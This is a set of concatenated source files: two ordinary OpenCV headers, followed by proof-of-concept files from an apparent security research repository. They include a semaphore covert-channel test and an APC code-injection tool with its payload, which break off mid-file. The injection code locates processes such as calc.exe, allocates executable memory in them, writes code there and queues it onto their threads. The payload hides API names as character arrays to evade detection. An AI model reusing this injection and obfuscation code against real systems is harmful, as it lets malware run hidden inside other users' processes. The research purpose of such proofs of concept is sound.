// This file is part of OpenCV project. // It is subject to the license terms in the LICENSE file found in the top-level directory // of this distribution and at http://opencv.org/license.html. #if defined __OPENCV_BUILD \ #include "cv_cpu_config.h" #include "cv_cpu_helper.h" #ifdef CV_CPU_DISPATCH_MODE #define CV_CPU_OPTIMIZATION_NAMESPACE __CV_CAT(opt_, CV_CPU_DISPATCH_MODE) #define CV_CPU_OPTIMIZATION_NAMESPACE_BEGIN namespace __CV_CAT(opt_, CV_CPU_DISPATCH_MODE) { #define CV_CPU_OPTIMIZATION_NAMESPACE_END } #else #define CV_CPU_OPTIMIZATION_NAMESPACE cpu_baseline #define CV_CPU_OPTIMIZATION_NAMESPACE_BEGIN namespace cpu_baseline { #define CV_CPU_OPTIMIZATION_NAMESPACE_END } #endif #define __CV_CPU_DISPATCH_CHAIN_END(fn, args, mode, ...) /* done */ #define __CV_CPU_DISPATCH(fn, args, mode, ...) __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #define __CV_CPU_DISPATCH_EXPAND(fn, args, ...) __CV_EXPAND(__CV_CPU_DISPATCH(fn, args, __VA_ARGS__)) #define CV_CPU_DISPATCH(fn, args, ...) __CV_CPU_DISPATCH_EXPAND(fn, args, __VA_ARGS__, END) // expand macros #if defined CV_ENABLE_INTRINSICS \ && !defined CV_DISABLE_OPTIMIZATION \ && !defined __CUDACC__ /* do not include SSE/AVX/NEON headers for NVCC compiler */ \ #ifdef CV_CPU_COMPILE_SSE2 # include <emmintrin.h> # define CV_MMX 1 # define CV_SSE 1 # define CV_SSE2 1 #endif #ifdef CV_CPU_COMPILE_SSE3 # include <pmmintrin.h> # define CV_SSE3 1 #endif #ifdef CV_CPU_COMPILE_SSSE3 # include <tmmintrin.h> # define CV_SSSE3 1 #endif #ifdef CV_CPU_COMPILE_SSE4_1 # include <smmintrin.h> # define CV_SSE4_1 1 #endif #ifdef CV_CPU_COMPILE_SSE4_2 # include <nmmintrin.h> # define CV_SSE4_2 1 #endif #ifdef CV_CPU_COMPILE_POPCNT # ifdef _MSC_VER # include <nmmintrin.h> # if defined(_M_X64) # define CV_POPCNT_U64 _mm_popcnt_u64 # endif # define CV_POPCNT_U32 _mm_popcnt_u32 # else # include <popcntintrin.h> # if defined(__x86_64__) # define CV_POPCNT_U64 __builtin_popcountll # endif # define CV_POPCNT_U32 __builtin_popcount # endif # define CV_POPCNT 1 #endif #ifdef CV_CPU_COMPILE_AVX # include <immintrin.h> # define CV_AVX 1 #endif #ifdef CV_CPU_COMPILE_FP16 # if defined(__arm__) || defined(__aarch64__) || defined(_M_ARM) # include <arm_neon.h> # else # include <immintrin.h> # endif # define CV_FP16 1 #endif #ifdef CV_CPU_COMPILE_AVX2 # include <immintrin.h> # define CV_AVX2 1 #endif #ifdef CV_CPU_COMPILE_FMA3 # define CV_FMA3 1 #endif #if defined _WIN32 && defined(_M_ARM) # include <Intrin.h> # include <arm_neon.h> # define CV_NEON 1 #elif defined(__ARM_NEON__) || (defined (__ARM_NEON) && defined(__aarch64__)) # include <arm_neon.h> # define CV_NEON 1 #endif #if defined(__ARM_NEON__) || defined(__aarch64__) # include <arm_neon.h> #endif #if defined(__VSX__) && defined(__PPC64__) && defined(__LITTLE_ENDIAN__) # include <altivec.h> # undef vector # undef pixel # undef bool # define CV_VSX 1 #endif #endif // CV_ENABLE_INTRINSICS && !CV_DISABLE_OPTIMIZATION && !__CUDACC__ #if defined CV_CPU_COMPILE_AVX && !defined CV_CPU_BASELINE_COMPILE_AVX struct VZeroUpperGuard { #ifdef __GNUC__ __attribute__((always_inline)) #endif inline ~VZeroUpperGuard() { _mm256_zeroupper(); } }; #define __CV_AVX_GUARD VZeroUpperGuard __vzeroupper_guard; (void)__vzeroupper_guard; #endif #ifdef __CV_AVX_GUARD #define CV_AVX_GUARD __CV_AVX_GUARD #else #define CV_AVX_GUARD #endif #endif // __OPENCV_BUILD #if !defined __OPENCV_BUILD /* Compatibility code */ \ && !defined __CUDACC__ /* do not include SSE/AVX/NEON headers for NVCC compiler */ #if defined __SSE2__ || defined _M_X64 || (defined _M_IX86_FP && _M_IX86_FP >= 2) # include <emmintrin.h> # define CV_MMX 1 # define CV_SSE 1 # define CV_SSE2 1 #elif defined _WIN32 && defined(_M_ARM) # include <Intrin.h> # include <arm_neon.h> # define CV_NEON 1 #elif defined(__ARM_NEON__) || (defined (__ARM_NEON) && defined(__aarch64__)) # include <arm_neon.h> # define CV_NEON 1 #elif defined(__VSX__) && defined(__PPC64__) && defined(__LITTLE_ENDIAN__) # include <altivec.h> # undef vector # undef pixel # undef bool # define CV_VSX 1 #endif #endif // !__OPENCV_BUILD && !__CUDACC (Compatibility code) #ifndef CV_MMX # define CV_MMX 0 #endif #ifndef CV_SSE # define CV_SSE 0 #endif #ifndef CV_SSE2 # define CV_SSE2 0 #endif #ifndef CV_SSE3 # define CV_SSE3 0 #endif #ifndef CV_SSSE3 # define CV_SSSE3 0 #endif #ifndef CV_SSE4_1 # define CV_SSE4_1 0 #endif #ifndef CV_SSE4_2 # define CV_SSE4_2 0 #endif #ifndef CV_POPCNT # define CV_POPCNT 0 #endif #ifndef CV_AVX # define CV_AVX 0 #endif #ifndef CV_FP16 # define CV_FP16 0 #endif #ifndef CV_AVX2 # define CV_AVX2 0 #endif #ifndef CV_FMA3 # define CV_FMA3 0 #endif #ifndef CV_AVX_512F # define CV_AVX_512F 0 #endif #ifndef CV_AVX_512BW # define CV_AVX_512BW 0 #endif #ifndef CV_AVX_512CD # define CV_AVX_512CD 0 #endif #ifndef CV_AVX_512DQ # define CV_AVX_512DQ 0 #endif #ifndef CV_AVX_512ER # define CV_AVX_512ER 0 #endif #ifndef CV_AVX_512IFMA512 # define CV_AVX_512IFMA512 0 #endif #ifndef CV_AVX_512PF # define CV_AVX_512PF 0 #endif #ifndef CV_AVX_512VBMI # define CV_AVX_512VBMI 0 #endif #ifndef CV_AVX_512VL # define CV_AVX_512VL 0 #endif #ifndef CV_NEON # define CV_NEON 0 #endif #ifndef CV_VSX # define CV_VSX 0 #endif
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Monologuethl/Android_Facenet_Recognition
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1,531,359
highgui_c.h
Monologuethl_Android_Facenet_Recognition/app/src/main/cpp/include/opencv2/highgui/highgui_c.h
/*M/////////////////////////////////////////////////////////////////////////////////////// // // IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. // // By downloading, copying, installing or using the software you agree to this license. // If you do not agree to this license, do not download, install, // copy or use the software. // // // Intel License Agreement // For Open Source Computer Vision Library // // Copyright (C) 2000, Intel Corporation, all rights reserved. // Third party copyrights are property of their respective owners. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // * Redistribution's of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistribution's in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * The name of Intel Corporation may not be used to endorse or promote products // derived from this software without specific prior written permission. // // This software is provided by the copyright holders and contributors "as is" and // any express or implied warranties, including, but not limited to, the implied // warranties of merchantability and fitness for a particular purpose are disclaimed. // In no event shall the Intel Corporation or contributors be liable for any direct, // indirect, incidental, special, exemplary, or consequential damages // (including, but not limited to, procurement of substitute goods or services; // loss of use, data, or profits; or business interruption) however caused // and on any theory of liability, whether in contract, strict liability, // or tort (including negligence or otherwise) arising in any way out of // the use of this software, even if advised of the possibility of such damage. // //M*/ #ifndef OPENCV_HIGHGUI_H #define OPENCV_HIGHGUI_H #include "opencv2/core/core_c.h" #include "opencv2/imgproc/imgproc_c.h" #ifdef HAVE_OPENCV_IMGCODECS #include "opencv2/imgcodecs/imgcodecs_c.h" #endif #ifdef HAVE_OPENCV_VIDEOIO #include "opencv2/videoio/videoio_c.h" #endif #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ /** @addtogroup highgui_c @{ */ /****************************************************************************************\ * Basic GUI functions * \****************************************************************************************/ //YV //-----------New for Qt /* For font */ enum { CV_FONT_LIGHT = 25,//QFont::Light, CV_FONT_NORMAL = 50,//QFont::Normal, CV_FONT_DEMIBOLD = 63,//QFont::DemiBold, CV_FONT_BOLD = 75,//QFont::Bold, CV_FONT_BLACK = 87 //QFont::Black }; enum { CV_STYLE_NORMAL = 0,//QFont::StyleNormal, CV_STYLE_ITALIC = 1,//QFont::StyleItalic, CV_STYLE_OBLIQUE = 2 //QFont::StyleOblique }; /* ---------*/ //for color cvScalar(blue_component, green_component, red_component[, alpha_component]) //and alpha= 0 <-> 0xFF (not transparent <-> transparent) CVAPI(CvFont) cvFontQt(const char* nameFont, int pointSize CV_DEFAULT(-1), CvScalar color CV_DEFAULT(cvScalarAll(0)), int weight CV_DEFAULT(CV_FONT_NORMAL), int style CV_DEFAULT(CV_STYLE_NORMAL), int spacing CV_DEFAULT(0)); CVAPI(void) cvAddText(const CvArr* img, const char* text, CvPoint org, CvFont *arg2); CVAPI(void) cvDisplayOverlay(const char* name, const char* text, int delayms CV_DEFAULT(0)); CVAPI(void) cvDisplayStatusBar(const char* name, const char* text, int delayms CV_DEFAULT(0)); CVAPI(void) cvSaveWindowParameters(const char* name); CVAPI(void) cvLoadWindowParameters(const char* name); CVAPI(int) cvStartLoop(int (*pt2Func)(int argc, char *argv[]), int argc, char* argv[]); CVAPI(void) cvStopLoop( void ); typedef void (CV_CDECL *CvButtonCallback)(int state, void* userdata); enum {CV_PUSH_BUTTON = 0, CV_CHECKBOX = 1, CV_RADIOBOX = 2}; CVAPI(int) cvCreateButton( const char* button_name CV_DEFAULT(NULL),CvButtonCallback on_change CV_DEFAULT(NULL), void* userdata CV_DEFAULT(NULL) , int button_type CV_DEFAULT(CV_PUSH_BUTTON), int initial_button_state CV_DEFAULT(0)); //---------------------- /* this function is used to set some external parameters in case of X Window */ CVAPI(int) cvInitSystem( int argc, char** argv ); CVAPI(int) cvStartWindowThread( void ); // --------- YV --------- enum { //These 3 flags are used by cvSet/GetWindowProperty CV_WND_PROP_FULLSCREEN = 0, //to change/get window's fullscreen property CV_WND_PROP_AUTOSIZE = 1, //to change/get window's autosize property CV_WND_PROP_ASPECTRATIO= 2, //to change/get window's aspectratio property CV_WND_PROP_OPENGL = 3, //to change/get window's opengl support CV_WND_PROP_VISIBLE = 4, //These 2 flags are used by cvNamedWindow and cvSet/GetWindowProperty CV_WINDOW_NORMAL = 0x00000000, //the user can resize the window (no constraint) / also use to switch a fullscreen window to a normal size CV_WINDOW_AUTOSIZE = 0x00000001, //the user cannot resize the window, the size is constrainted by the image displayed CV_WINDOW_OPENGL = 0x00001000, //window with opengl support //Those flags are only for Qt CV_GUI_EXPANDED = 0x00000000, //status bar and tool bar CV_GUI_NORMAL = 0x00000010, //old fashious way //These 3 flags are used by cvNamedWindow and cvSet/GetWindowProperty CV_WINDOW_FULLSCREEN = 1,//change the window to fullscreen CV_WINDOW_FREERATIO = 0x00000100,//the image expends as much as it can (no ratio constraint) CV_WINDOW_KEEPRATIO = 0x00000000//the ration image is respected. }; /* create window */ CVAPI(int) cvNamedWindow( const char* name, int flags CV_DEFAULT(CV_WINDOW_AUTOSIZE) ); /* Set and Get Property of the window */ CVAPI(void) cvSetWindowProperty(const char* name, int prop_id, double prop_value); CVAPI(double) cvGetWindowProperty(const char* name, int prop_id); /* display image within window (highgui windows remember their content) */ CVAPI(void) cvShowImage( const char* name, const CvArr* image ); /* resize/move window */ CVAPI(void) cvResizeWindow( const char* name, int width, int height ); CVAPI(void) cvMoveWindow( const char* name, int x, int y ); /* destroy window and all the trackers associated with it */ CVAPI(void) cvDestroyWindow( const char* name ); CVAPI(void) cvDestroyAllWindows(void); /* get native window handle (HWND in case of Win32 and Widget in case of X Window) */ CVAPI(void*) cvGetWindowHandle( const char* name ); /* get name of highgui window given its native handle */ CVAPI(const char*) cvGetWindowName( void* window_handle ); typedef void (CV_CDECL *CvTrackbarCallback)(int pos); /* create trackbar and display it on top of given window, set callback */ CVAPI(int) cvCreateTrackbar( const char* trackbar_name, const char* window_name, int* value, int count, CvTrackbarCallback on_change CV_DEFAULT(NULL)); typedef void (CV_CDECL *CvTrackbarCallback2)(int pos, void* userdata); CVAPI(int) cvCreateTrackbar2( const char* trackbar_name, const char* window_name, int* value, int count, CvTrackbarCallback2 on_change, void* userdata CV_DEFAULT(0)); /* retrieve or set trackbar position */ CVAPI(int) cvGetTrackbarPos( const char* trackbar_name, const char* window_name ); CVAPI(void) cvSetTrackbarPos( const char* trackbar_name, const char* window_name, int pos ); CVAPI(void) cvSetTrackbarMax(const char* trackbar_name, const char* window_name, int maxval); CVAPI(void) cvSetTrackbarMin(const char* trackbar_name, const char* window_name, int minval); enum { CV_EVENT_MOUSEMOVE =0, CV_EVENT_LBUTTONDOWN =1, CV_EVENT_RBUTTONDOWN =2, CV_EVENT_MBUTTONDOWN =3, CV_EVENT_LBUTTONUP =4, CV_EVENT_RBUTTONUP =5, CV_EVENT_MBUTTONUP =6, CV_EVENT_LBUTTONDBLCLK =7, CV_EVENT_RBUTTONDBLCLK =8, CV_EVENT_MBUTTONDBLCLK =9, CV_EVENT_MOUSEWHEEL =10, CV_EVENT_MOUSEHWHEEL =11 }; enum { CV_EVENT_FLAG_LBUTTON =1, CV_EVENT_FLAG_RBUTTON =2, CV_EVENT_FLAG_MBUTTON =4, CV_EVENT_FLAG_CTRLKEY =8, CV_EVENT_FLAG_SHIFTKEY =16, CV_EVENT_FLAG_ALTKEY =32 }; #define CV_GET_WHEEL_DELTA(flags) ((short)((flags >> 16) & 0xffff)) // upper 16 bits typedef void (CV_CDECL *CvMouseCallback )(int event, int x, int y, int flags, void* param); /* assign callback for mouse events */ CVAPI(void) cvSetMouseCallback( const char* window_name, CvMouseCallback on_mouse, void* param CV_DEFAULT(NULL)); /* wait for key event infinitely (delay<=0) or for "delay" milliseconds */ CVAPI(int) cvWaitKey(int delay CV_DEFAULT(0)); // OpenGL support typedef void (CV_CDECL *CvOpenGlDrawCallback)(void* userdata); CVAPI(void) cvSetOpenGlDrawCallback(const char* window_name, CvOpenGlDrawCallback callback, void* userdata CV_DEFAULT(NULL)); CVAPI(void) cvSetOpenGlContext(const char* window_name); CVAPI(void) cvUpdateWindow(const char* window_name); /****************************************************************************************\ * Obsolete functions/synonyms * \****************************************************************************************/ #define cvAddSearchPath(path) #define cvvInitSystem cvInitSystem #define cvvNamedWindow cvNamedWindow #define cvvShowImage cvShowImage #define cvvResizeWindow cvResizeWindow #define cvvDestroyWindow cvDestroyWindow #define cvvCreateTrackbar cvCreateTrackbar #define cvvAddSearchPath cvAddSearchPath #define cvvWaitKey(name) cvWaitKey(0) #define cvvWaitKeyEx(name,delay) cvWaitKey(delay) #define HG_AUTOSIZE CV_WINDOW_AUTOSIZE #define set_preprocess_func cvSetPreprocessFuncWin32 #define set_postprocess_func cvSetPostprocessFuncWin32 #if defined _WIN32 CVAPI(void) cvSetPreprocessFuncWin32_(const void* callback); CVAPI(void) cvSetPostprocessFuncWin32_(const void* callback); #define cvSetPreprocessFuncWin32(callback) cvSetPreprocessFuncWin32_((const void*)(callback)) #define cvSetPostprocessFuncWin32(callback) cvSetPostprocessFuncWin32_((const void*)(callback)) #endif /** @} highgui_c */ #ifdef __cplusplus } #endif #endif
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,368
main.cpp
pwnlogs_d-time/PoCs/scbc/main.cpp
/* PoC to test life-time of Semaphore based Covert Channel. */ #include <Windows.h> #include <iostream> #define semName "testSemaphore" #define mtxName "testMutex" using namespace std; void __stdcall create(ULONG_PTR parameter) { LONG max_value = 0x1234; LONG init_value = max_value; HANDLE mtx = CreateMutexA(NULL, TRUE, mtxName); if (mtx == NULL) { cout << "[!] Failed to create Mutex" << endl; return; } cout << "[+] Created and Owned Mutex" << endl; HANDLE sem = CreateSemaphoreA(NULL, init_value, max_value, semName); if (sem != NULL) { cout << "[+] Created Semaphore succesfully from Thread: " << GetCurrentThreadId() << endl; cout << "[i] Semaphore count: " << init_value << endl; cout << "[i] Semaphore max-count: " << max_value << endl; } else { cout << "[!] Failed to create Semaphore" << endl; } if (ReleaseMutex(mtx)) { cout << "[+] Released Mutex" << endl; } else { cout << "[!] Failed to release Mutex" << endl; } return; } void __stdcall check(ULONG_PTR parameter) { HANDLE sem = OpenSemaphoreA(SEMAPHORE_ALL_ACCESS, FALSE, semName); if (sem != NULL) { cout << "[+] Semaphore opened from Thread: " << GetCurrentThreadId() << endl; LONG prev_count = 0; HANDLE mtx = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, mtxName); if (mtx != NULL) { cout << "[+] Opened mutex successfully " << endl; } else { cout << "[!] Failed to create Mutex" << endl; return; } if (WaitForSingleObject(mtx, 1000) != WAIT_OBJECT_0) { cout<<"[!] Could not lock mutex"<<endl; return; } else { cout << "[+] Locked mutex successfully" << endl; } cout << "[+] Decreamenting semaphore count" << endl; DWORD wait = WaitForSingleObject(sem, 0); if (wait != WAIT_OBJECT_0) { cout << "[!] Decrement might have failed" << endl; } else { cout << "[+] Semaphore wait success" << endl; } int success = ReleaseSemaphore(sem, 1, &prev_count); cout << "[+] Attempted release of semaphore" << endl; cout << "[i] Prev-count: " << prev_count << endl; cout << "[i] Success: " << (success!=0 ? "True" : "False") << endl; if (ReleaseMutex(mtx)) { cout << "[+] Released mutex" << endl; } } return; } DWORD __stdcall threadFn(LPVOID parameter) { for(int i=0; i<2; ++i){ SleepEx(1000, TRUE); } cout << "[+] Exiting thread " << GetCurrentThreadId() << endl; return 0; } void main() { /* create first victim thread for APC injection */ DWORD threadId; HANDLE thread1 = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadFn, 0, 0, &threadId); cout << "\n[i] First ThreadId: " << threadId << endl; /* Queue user apc in first thread */ QueueUserAPC(create, thread1, NULL); Sleep(4000); cout << "\n[+] Starting checker thread"<<endl; /* create second victim thread for APC injection */ HANDLE thread2 = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadFn, 0, 0, &threadId); cout << "\n[i] Second ThreadId: " << threadId << endl; /* Queue user apc in second thread */ QueueUserAPC(check, thread2, NULL); cin.get(); return; }
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pwnlogs/d-time
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GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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false
1,531,369
main.cpp
pwnlogs_d-time/PoCs/selfQueueingAPC/main.cpp
/*-----------------------------------------------------------------------------------------* * SELF QUEUING PAYLOAD - PoC * *-----------------------------------------------------------------------------------------*/ /* The process Queues APC in a process mentioned, * and the queues APC function will queue itself to the same process * thus entering a loop of APC Queues */ #include <windows.h> #include <TlHelp32.h> #include <vector> #include <iostream> #include <stdio.h> #include <stdlib.h> #include "stdafx.h" #include "headers.h" #define QUEUE_COUNT 2 #define START_THREAD 5 #pragma comment (lib, "Ws2_32.lib") // Need to link with Ws2_32.lib using namespace std; LPVOID EXECUTER; ULONG EXE_SIZE; void get_executer_details(){ LPBYTE p; // auxilary pointer DWORD old; //VirtualProtect((LPVOID)((ULONG)executer), 0x8000, PAGE_EXECUTE_READWRITE, &old ); //EXECUTER = (LPBYTE)((ULONG)executer + *(LPDWORD)((ULONG)executer + 1) + 5); EXECUTER = executer; for( p=(LPBYTE)EXECUTER; strcmp((char*)p, "SelfQueuing_end$$$"); p++ ) ; EXE_SIZE = (ULONG)p + 19 + 9 - (ULONG)EXECUTER; // get function size } bool write_to_shared_mem(){ /* write executer to Shared memory */ HANDLE hMapFile; LPBYTE shptr; char sharedMemName[] = {'S','Q','S','h','a','r','e','d','M','e','m','$','$','$',0}; if((hMapFile = CreateFileMapping( INVALID_HANDLE_VALUE, // use paging file NULL, // default security PAGE_READWRITE, // read/write access HIWORD(EXE_SIZE), // maximum object size (high-order DWORD) LOWORD(EXE_SIZE), // maximum object size (low-order DWORD) sharedMemName) // name of mapping object ) == NULL){ cout<<"Failed to allocate Shared Memory"<<endl; return false; } if((shptr = (LPBYTE) MapViewOfFileEx( hMapFile, // handle to map object FILE_MAP_ALL_ACCESS, // read/write permission 0, // high-order 32 bits of file offset 0, // low-order 32 bits of file offset EXE_SIZE, // number of bytes to map NULL // base address (NULL if we don't care) )) == NULL ) { // does an error occured ? CloseHandle(hMapFile); // close memory mapped file // The SharedRegion is destroyed only after // UnMapViewOfFile is ALSO called, which we won't do :P cout<<"Can't map view of file"<<endl; return false; } CopyMemory((PVOID)shptr, (void*)EXECUTER, EXE_SIZE); return true; } bool FindProcess(const char* exeName, DWORD& pid, vector<DWORD>& tids) { auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return false; pid = 0; PROCESSENTRY32 pe = { sizeof(pe) }; if (::Process32First(hSnapshot, &pe)) { do { if (_stricmp(pe.szExeFile, exeName) == 0) { pid = pe.th32ProcessID; cout<<"[i] Found process ("<<exeName<<"), pid: "<<pid<<endl; THREADENTRY32 te = { sizeof(te) }; cout<<"[i] Threads found to inject: "; if (::Thread32First(hSnapshot, &te)) { do { if (te.th32OwnerProcessID == pid) { cout<<te.th32ThreadID<<" "; tids.push_back(te.th32ThreadID); } } while (::Thread32Next(hSnapshot, &te)); } cout<<endl; break; } } while (::Process32Next(hSnapshot, &pe)); } ::CloseHandle(hSnapshot); return pid > 0 && !tids.empty(); } void inject(char* process){ DWORD pid; vector<DWORD> tids; if (FindProcess(process, pid, tids)) { HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid); if(hProcess==NULL){ cout<<"[!] failed to get handle for process: "<<pid<<endl; return; } auto p = ::VirtualAllocEx(hProcess, NULL, EXE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(p==NULL) { cout<<"[!] memory allocation failed!"<<endl; return ; }else{cout<<"[+] virtual mem allocation success"<<endl;} unsigned long injectedFn = (unsigned long)p; cout<<"[i] allocated memory address: 0x"<<hex<<injectedFn<<dec<<endl; if(::WriteProcessMemory(hProcess, p, EXECUTER, EXE_SIZE, NULL)==0){ DWORD err = GetLastError(); cout<<"[!] write to victim process memory failed with error: "<<dec<<err<<endl; return ; }else{cout<<"[+] write to process success"<<endl;} // cout<<"[+] Sleeping for 15s"<<endl; // Sleep(15000); for(vector<DWORD>::size_type i = START_THREAD; i != tids.size(); i++) { DWORD tid = tids[i]; HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, tid); cout<<endl; ULONG_PTR parameter = (ULONG_PTR)EXE_SIZE; // pass executer size as argument cout<<"[i] Attempting APC Queue for process: "<<process<<", thread: "<<tid<<endl; cout<<"[>] waiting for [Enter]"<<endl; cin.get(); if (hThread!=NULL) { if(::QueueUserAPC( (PAPCFUNC)p, hThread, parameter)==0){ cout<<"[!] failed to queue user apc"<<endl; } else{ cout<<"[+] user apc queued for thread (id: "<<tid<<")"<<endl; } } else{ cout<<"[!] OpenThread failed to open thread (id: "<<tid<<")"<<endl; return; } if(i-START_THREAD >= QUEUE_COUNT) break; } ::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT); cout<<"[+] VirtualFreeEx"<<endl; } else{ cout<<"[!] specified process not found"<<endl; } } DWORD __stdcall threadFn(LPVOID parameter){ char c; do{ while(true){ SleepEx(5000, TRUE); } cout<<"[?] Exit APC THREAD? "<<endl; cin>>c; }while(c=='n'); return 0; } void __cdecl main(int argc, char* argv[]){ #ifdef __SELF_INJECTION__ DWORD threadId; CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadFn, 0, 0, &threadId); cout<<"[i] ThreadId: "<<threadId<<endl; #endif get_executer_details(); if(!write_to_shared_mem()) return; //inject("firefox.exe"); //inject("chrome.exe"); #ifdef __USE_NT_FUNCTIONS__ executer((LPVOID)EXE_SIZE, NULL, NULL); #else executer(EXE_SIZE); #endif #ifdef __SELF_INJECTION__ while(true){ SleepEx(1000, TRUE); } #endif return; }
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.cpp
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,370
payload.cpp
pwnlogs_d-time/PoCs/selfQueueingAPC/payload.cpp
/* ----------------------------------------------------------------------- APC Injection payload ----------------------------------------------------------------------- Note: The payload does not take any arguments */ #include "stdafx.h" #include "headers.h" #include "exe_header.h" #ifdef __SELF_INJECTION__ #include <iostream> #endif #define B(a) { _emit a } #define W(a,b) { _emit a }{ _emit b } #define D(a,b,c,d) { _emit a }{ _emit b }{ _emit c }{ _emit d } #define Q(a,b,c,d,e,f,g,h) D(a,b,c,d) D(e,f,g,h) #define O(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p) Q(a,b,c,d,e,f,g,h) Q(i,j,k,l,m,n,o,p) #ifdef __USE_NT_FUNCTIONS__ __declspec(safebuffers) void __stdcall executer(LPVOID parameter, LPVOID pra2, LPVOID para3){ #else __declspec(safebuffers) void __stdcall executer(ULONG parameter){ #endif ULONG EXE_SIZE = (ULONG)parameter; /* proc name */ #ifdef __SELF_INJECTION__ char procList[] = { 'S','e','l','f','Q','u','e','u','i','n','g','.','e','x','e',0,0,1, 0 }; #else /* list of processses to attempt APC Queuing. "process name\0", <Thread no to start queueing from>, <No of threads to queue> list ends is specified by a 0 i.e. if a process name is found to start with 0, it is considered as end of list. */ char procList[] = { //'e','x','p','l','o','r','e','r','.','e','x','e',0,0,10, //'c','h','r','o','m','e','.','e','x','e',0,3,1, //'c','h','r','o','m','e','.','e','x','e',0,0,10, //'f','i','r','e','f','o','x','.','e','x','e',0,2,5, //'c','a','l','c','.','e','x','e',0,3,1, 'c','a','l','c','1','.','e','x','e',0,0,5, 0}; #endif /* strings */ char msg1[MAX_ONE_TIME_LOG_SIZE]; char msg2[MAX_ONE_TIME_LOG_SIZE]; char message[] = {'m','e','s','s','a','g','e',0}; char title[] = {'t','i','t','l','e',0}; char __pid_tid[] = {'p','i','d',':',' ','%','d',';','\n','t','i','d',':',' ','%','d','\n',0}; char __pid_addr[] = {'I','n','j','e','c','t','e','d',' ','t','o','\n', 'p','i','d',':',' ','%','d','\n', 'A','d','r','r',':',' ','0','x','%','x','\n',0}; char __started_pid_tid[] = { 's','t','a','r','t','e','d',' ','i','n',' ','p','i','d',' ','%','d',' ','t','i','d',' ','%','d','\n',0 }; char __injecting_to_at[] = { 'i','n','j','e','c','t','i','n','g',' ','t','o',' ','%','d','(','t','i','d',':',' ','%','d',')',' ','a','t',' ','0','x','%','x','\n',0 }; char __from_pid[] = {'F','r','o','m',':',' ','%','d','\n',0}; char sharedMemName[] = {'S','Q','S','h','a','r','e','d','M','e','m','$','$','$',0}; #ifdef __LOG__ char __logFile[] = {'C',':','\\','U','s','e','r','s','\\','t','e','s','t','e','r','\\', 'A','p','p','D','a','t','a','\\','L','o','c','a','l','\\','T','e','m','p','\\', 's','e','l','f','Q','u','e','u','i','n','g','L','o','g','.','t','x','t',0}; #endif /* DLL names */ char __User32_dll[] = {'U','s','e','r','3','2','.','d','l','l',0}; char __ntdll_dll[] = {'n','t','d','l','l','.','d','l','l',0}; /* kernel32.dll function names */ char __LoadLibraryA[] = {'L','o','a','d','L','i','b','r','a','r','y','A',0}; char __GetProcAddress[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0}; char __GetCurrentProcessId[] = {'G','e','t','C','u','r','r','e','n','t','P','r','o','c','e','s','s','I','d',0}; char __GetCurrentThreadId[] = {'G','e','t','C','u','r','r','e','n','t','T','h','r','e','a','d','I','d',0}; char __CreateToolhelp32Snapshot[] = {'C','r','e','a','t','e','T','o','o','l','h','e','l','p','3','2','S','n','a','p','s','h','o','t',0}; char __Process32First[] = {'P','r','o','c','e','s','s','3','2','F','i','r','s','t',0}; char __OpenProcess[] = {'O','p','e','n','P','r','o','c','e','s','s',0}; char __VirtualAllocEx[] = {'V','i','r','t','u','a','l','A','l','l','o','c','E','x',0}; char __WriteProcessMemory[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0}; char __Thread32First[] = {'T','h','r','e','a','d','3','2','F','i','r','s','t',0}; char __OpenThread[] = {'O','p','e','n','T','h','r','e','a','d',0}; char __QueueUserAPC[] = {'Q','u','e','u','e','U','s','e','r','A','P','C',0}; char __VirtualFreeEx[] = {'V','i','r','t','u','a','l','F','r','e','e','E','x',0}; char __Thread32Next[] = {'T','h','r','e','a','d','3','2','N','e','x','t',0}; char __Process32Next[] = {'P','r','o','c','e','s','s','3','2','N','e','x','t',0}; char __MapViewOfFile[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e',0}; char __OpenFileMappingA[] = {'O','p','e','n','F','i','l','e','M','a','p','p','i','n','g','A',0}; char __lstrcmpA[] = {'l','s','t','r','c','m','p','A',0}; char __CloseHandle[] = {'C','l','o','s','e','H','a','n','d','l','e',0}; char __CreateFileA[] = {'C','r','e','a','t','e','F','i','l','e','A',0}; char __SetFilePointer[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r',0}; char __LockFile[] = {'L','o','c','k','F','i','l','e',0}; char __WriteFile[] = {'W','r','i','t','e','F','i','l','e',0}; char __lstrlenA[] = {'l','s','t','r','l','e','n','A',0}; char __UnlockFile[] = {'U','n','l','o','c','k','F','i','l','e',0}; /* User32.dll function names */ char __MessageBoxA[] = {'M','e','s','s','a','g','e','B','o','x','A',0}; char __wsprintfA[] = {'w','s','p','r','i','n','t','f','A',0}; /* ntdll.dll functions */ char __NtQueueApcThread[] = {'N','t','Q','u','e','u','e','A','p','c','T','h','r','e','a','d',0}; /* kernel32.dll function declarations */ HMODULE (__stdcall *LoadLibraryA) (char*) ; void* (__stdcall *GetProcAddress) (void*, char*) ; DWORD (__stdcall *GetCurrentProcessId) () ; DWORD (__stdcall *GetCurrentThreadId) () ; HANDLE 